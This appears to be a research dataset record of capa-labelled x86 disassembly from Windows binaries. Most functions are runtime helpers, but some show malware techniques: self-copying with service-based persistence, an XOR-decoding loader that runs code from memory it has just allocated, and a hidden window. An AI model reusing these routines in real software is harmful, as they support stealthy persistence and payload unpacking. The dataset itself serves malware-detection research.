joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4058ed
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x4059b1
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.0040752b
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.004071e0
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x4059b5
call fcn.00401808
xor eax, eax
jmp 0x405a09
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040785b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046d7
pop ecx
test eax, eax
pop ecx
je 0x405a07
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405ee4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.woK
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044e4
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ca4
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.0040773e
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f8e
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f8e
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e8c
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405f48
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fd8
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b8c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1ed0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e98], ebx
mov edi, 0x491984
je 0x406964
push esi
push edi
push 0x491a88
push closesocket
call fcn.00404540
push 1
push str.O91_a_t_
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.M_
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491e98], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491ea0], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fd8
ret
Function at 0x40a985
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x411498
cmp edx, dword [eax]
je 0x40a9a7
add eax, 8
inc ecx
cmp eax, 0x411528
jl 0x40a998
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x411498]
jne 0x40aad5
mov eax, dword [0x491ed0]
cmp eax, 1
je 0x40aaaf
test eax, eax
jne 0x40a9d8
cmp dword [0x4110c4], 1
je 0x40aaaf
cmp edx, 0xfc
je 0x40aad5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40aa0f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004073c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004074b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40aa52
lea eax, [ebp - 0x1a4]
push eax
call fcn.004074b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b0
push edi
call fcn.0040ac30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004073c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004073d0
lea eax, [ebp - 0xa0]
push 0x40d590
push eax
call fcn.004073d0
push dword [esi + 0x41149c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004073d0
push pe_overlay
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040bd08
add esp, 0x2c
pop edi
jmp 0x40aad5
lea eax, [ebp + 8]
lea esi, [esi + 0x41149c]
push 0
push eax
push dword [esi]
call fcn.004074b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x401910
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040c0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x401923
push esp
mov dword [ebp - 0x24], 0x401640
mov eax, dword [0x4040c0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.zeenty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040c0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.upsent
push str.zeenty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040c8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4019c2
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x4019a3
pop ebp
ret 0x10
Function at 0x40b208
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40b217
pop dword [ebp - 0x10]
mov eax, 0x40b217
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x53c1a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x576a
mov esi, eax
mov edx, 0x550a4f1a
add edx, 0xab3e2ee6
add edx, dword [ebp - 0x10]
mov ebx, 0x29799d74
sub ebx, 0x4c079484
xor dword [ebp - 4], 0x9c76ade7
mov edi, dword [edx]
sub edi, ebx
mov dword [esi], edi
xor dword [ebp - 4], esi
add esi, 0x88cc6764
sub esi, 0x88cc6760
add edx, 4
loop 0x40b266
add eax, 0x5106d78e
sub eax, 0x51058713
mov ebx, eax
add eax, 0x520e4962
add eax, 0xadf1b6a3
mov ecx, 0xcca6ca87
add ecx, 0x33993579
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x408d41
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
push dword [0x40e0c0]
call fcn.004094b6
mov ebp, eax
or ebx, 0xffffffff
xor eax, eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, dword [esp + 0x1c]
movzx edx, word [eax]
test dx, dx
je 0x408e41
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x20
mov dword [esp + 0x14], 0x22
cmp dx, word [esp + 0x10]
jne 0x408d97
push 0x20
pop edx
add eax, 2
cmp word [eax], dx
je 0x408d8f
movzx edx, word [eax]
mov dword [esp + 0x1c], 1
cmp dx, word [esp + 0x14]
jne 0x408dd7
add eax, 2
mov esi, eax
movzx ecx, word [eax]
test cx, cx
je 0x408e19
push 0x22
pop edx
cmp cx, dx
je 0x408dc9
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x408db9
xor ecx, ecx
cmp word [eax], cx
je 0x408e19
mov ecx, eax
add eax, 2
jmp 0x408e1b
test dx, dx
je 0x408e21
push 0x20
mov esi, eax
pop ecx
cmp dx, cx
je 0x408dc9
add eax, 2
push 0x22
pop edx
cmp word [eax], dx
jne 0x408e0f
add eax, 2
movzx ecx, word [eax]
test cx, cx
je 0x408e19
cmp cx, dx
je 0x408e0c
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x408dfc
push 0x20
pop ecx
movzx edx, word [eax]
test dx, dx
jne 0x408de1
jmp 0x408dc9
mov ecx, eax
mov edx, dword [esp + 0x1c]
jmp 0x408e23
xor edx, edx
cmp dword [ebp], ebx
jne 0x408e2c
test edi, edi
jne 0x408e49
test edx, edx
je 0x408e31
inc ebx
xor edx, edx
mov esi, edx
movzx edx, word [eax]
test dx, dx
jne 0x408d85
test edi, edi
jne 0x408e5a
mov eax, ebx
jmp 0x408e5e
test esi, esi
je 0x408e5a
sub ecx, esi
mov eax, esi
sar ecx, 1
mov dword [edi], ecx
inc dword [ebp]
jmp 0x408e5e
xor ecx, ecx
mov dword [edi], ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
Function at 0x408f30
Capabilities:
Get thread local storage value

Disassembly:
sub esp, 8
cmp dword [0x40e000], 0
jne 0x408f41
call fcn.00408ed0
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
push edi
push dword [0x40e004]
call esi
mov ecx, eax
test ecx, ecx
jne 0x408f68
call fcn.00408ed0
push dword [0x40e004]
call esi
mov ecx, eax
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
cmp edx, 8
jl 0x408fce
mov ebp, edx
shr ebp, 3
mov eax, ebp
neg eax
lea edx, [edx + eax*8]
mov dword [esp + 0x20], edx
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov edi, dword [ecx + edx*4 + 0x4c]
mov ebx, dword [ecx + edx*4 + 8]
ror edi, 0xd
add edi, dword [ecx + eax*4 + 0x4c]
ror ebx, 5
add ebx, dword [ecx + eax*4 + 8]
dec eax
mov dword [ecx + edx*4 + 8], edi
mov dword [ecx + edx*4 + 0x4c], ebx
dec edx
jns 0x408fb1
mov edx, 0x10
test eax, eax
jns 0x408fba
mov eax, 0x10
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov dword [esi], ebx
mov dword [esi + 4], edi
add esi, 8
dec ebp
jne 0x408f85
mov edx, dword [esp + 0x20]
test edx, edx
jle 0x409023
mov edi, dword [ecx]
mov eax, dword [ecx + 4]
mov ebx, dword [ecx + edi*4 + 0x4c]
mov ebp, dword [ecx + edi*4 + 8]
ror ebx, 0xd
add ebx, dword [ecx + eax*4 + 0x4c]
ror ebp, 5
add ebp, dword [ecx + eax*4 + 8]
dec eax
mov dword [ecx + edi*4 + 8], ebx
mov dword [ecx + edi*4 + 0x4c], ebp
dec edi
jns 0x408ffe
mov edi, 0x10
test eax, eax
jns 0x409007
mov eax, 0x10
mov dword [ecx + 4], eax
lea eax, [esp + 0x10]
push edx
push eax
push esi
mov dword [ecx], edi
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8

Function at 0x409030
Capabilities:
Get thread local storage value

Disassembly:
cmp dword [0x40e000], 0
jne 0x40903e
call fcn.00408ed0
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
push edi
push dword [0x40e004]
call esi
test eax, eax
jne 0x409061
call fcn.00408ed0
push dword [0x40e004]
call esi
mov edx, dword [esp + 0x14]
lea esi, [eax + 8]
mov edi, 0x11
lea ecx, [ecx]
imul ecx, edx, 0x53a9b4fb
lea esi, [esi + 4]
mov edx, 1
sub edx, ecx
imul ecx, edx, 0x53a9b4fb
mov dword [esi + 0x40], edx
mov edx, 1
sub edx, ecx
mov dword [esi - 4], edx
dec edi
jne 0x409070
mov dword [eax], edi
lea ebp, [edi + 0x1f]
mov dword [eax + 4], 0xa
mov ebx, dword [eax]
mov edi, dword [eax + 4]
mov edx, dword [eax + ebx*4 + 8]
mov ecx, dword [eax + ebx*4 + 0x4c]
mov esi, dword [eax + edi*4 + 8]
ror ecx, 0xd
add ecx, dword [eax + edi*4 + 0x4c]
dec edi
ror edx, 5
add edx, esi
mov dword [eax + ebx*4 + 8], ecx
mov dword [eax + ebx*4 + 0x4c], edx
dec ebx
jns 0x4090d0
mov ebx, 0x10
test edi, edi
jns 0x4090d9
mov edi, 0x10
mov dword [eax], ebx
mov dword [eax + 4], edi
dec ebp
jne 0x4090a2
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4094b6
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push dword [0x40e010]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
test edi, edi
jne 0x409517
push esi
push dword [0x40e00c]
push 8
push dword [0x40df34]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
push edi
push dword [0x40e010]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esi, dword [0x40e008]
jmp 0x409507
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x409505
mov eax, dword [esi + 8]
add eax, edi
push eax
call ecx
pop ecx
mov esi, dword [esi]
test esi, esi
jne 0x4094f5
push edi
push 0x409454
call fcn.0040b526
pop esi
mov eax, dword [esp + 8]
add eax, edi
pop edi
ret 4

Function at 0x409521
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
mov ecx, esi
push edi
and ecx, 3
je 0x409537
push 4
pop eax
sub eax, ecx
add esi, eax
mov eax, dword [0x40e00c]
mov ebx, dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x40956e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
push 8
push dword [0x40df34]
mov dword [0x40e010], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
push dword [0x40e010]
call ebx
mov eax, dword [0x40e00c]
mov edi, eax
add eax, esi
push eax
push dword [0x40e010]
mov dword [0x40e00c], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push eax
push 8
push dword [0x40df34]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ebp, eax
push ebp
push dword [0x40e010]
call ebx
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
test esi, esi
jne 0x4095ae
test ebx, ebx
je 0x4095cf
push 0x14
push 0x40e008
call fcn.00409c16
pop ecx
pop ecx
mov dword [eax], edi
mov dword [eax + 4], esi
mov dword [eax + 8], ebx
test esi, esi
je 0x4095cf
lea ecx, [edi + ebp]
push ecx
call esi
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x409d8d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x14], edi
je 0x409deb
add ebx, 2
lea eax, [ebx*2 + 2]
push eax
push edi
push dword [0x40df34]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x409deb
cmp dword [ebp + 0xc], 0
je 0x409dda
push dword [ebp + 0xc]
push edi
call sub.MSVCRT.dll_wcscpy
push 0x40c040
push edi
call sub.MSVCRT.dll_wcscat
add esp, 0x10
jmp 0x409de7
push 0x40c040
push edi
call sub.MSVCRT.dll_wcscpy
pop ecx
pop ecx
mov esi, edi
jmp 0x409dee
mov esi, dword [ebp + 0xc]
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
jne 0x409e55
mov eax, dword [0x40d78c]
dec eax
dec eax
je 0x409e2f
sub eax, 0x16
je 0x409e27
push 0
lea eax, [ebp + 0x10]
push eax
lea eax, [ebx + ebx]
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x409e55
push esi
call fcn.0040b650
jmp 0x409e35
push esi
call fcn.0040b6e0
mov esi, eax
lea eax, [ebp + 0x10]
push 0
push eax
push esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.0040b640
test edi, edi
je 0x409e68
push edi
push 0
push dword [0x40df34]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x40a640
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40d790]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
sub edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x40a686
mov ecx, dword [ebp - 4]
add ecx, 0xa
push ecx
push 0
mov edx, dword [0x40e13c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
jmp 0x40a6a7
mov edx, dword [ebp - 4]
add edx, 0xa
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0
mov edx, dword [0x40e13c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
shr edx, 1
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.0040aac0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 8], edx
mov esp, ebp
pop ebp
ret 8

Function at 0x40a800
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x40d790]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
mov edx, dword [ebp - 4]
add eax, dword [edx + 8]
mov esp, ebp
pop ebp
ret
Function at 0x40a830
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x40d790]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
add edx, 2
mov eax, dword [ebp - 4]
mov dword [eax + 8], edx
mov esp, ebp
pop ebp
ret

Function at 0x40a960
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x40d790]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
cmp edx, dword [ecx]
jb 0x40a99e
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 8]
cmp dword [ebp + 8], ecx
ja 0x40a99e
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
sub ecx, dword [eax]
add ecx, 1
mov eax, ecx
jmp 0x40a9a0
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x40a9b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40d790]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0xffffffff
jne 0x40a9d4
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov edx, dword [ebp + 8]
lea eax, [ecx + edx*2]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
sub edx, 4
cmp dword [ebp - 8], edx
jl 0x40aa24
mov eax, dword [ebp - 8]
add eax, 0x4000
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
add eax, 0xa
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [0x40e13c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x40aa6c
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0x100000
jle 0x40aa6c
cmp dword [ebp - 8], 0x100000
jge 0x40aa40
mov dword [ebp - 8], 0x100000
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
add eax, 0xa
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [0x40e13c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
lea eax, [edx + ecx*2]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 8

Function at 0x40ab10
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x40d790]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
shl ecx, 1
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
sub eax, ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
mov esp, ebp
pop ebp
ret 4
Function at 0x40aed0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40d790]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 8]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4

Function at 0x40b526
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x40e078], 0
push ebx
push esi
mov esi, 0x40e080
jne 0x40b552
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x40e098], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x40e078], 1
push dword [0x40e098]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x40b5ef
push 0x14
push 8
push dword [0x40df34]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x40b619
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x40e07c]
test eax, eax
je 0x40b594
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x40e07c], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x40b61e
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x40e098]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x40df34]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40b619
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8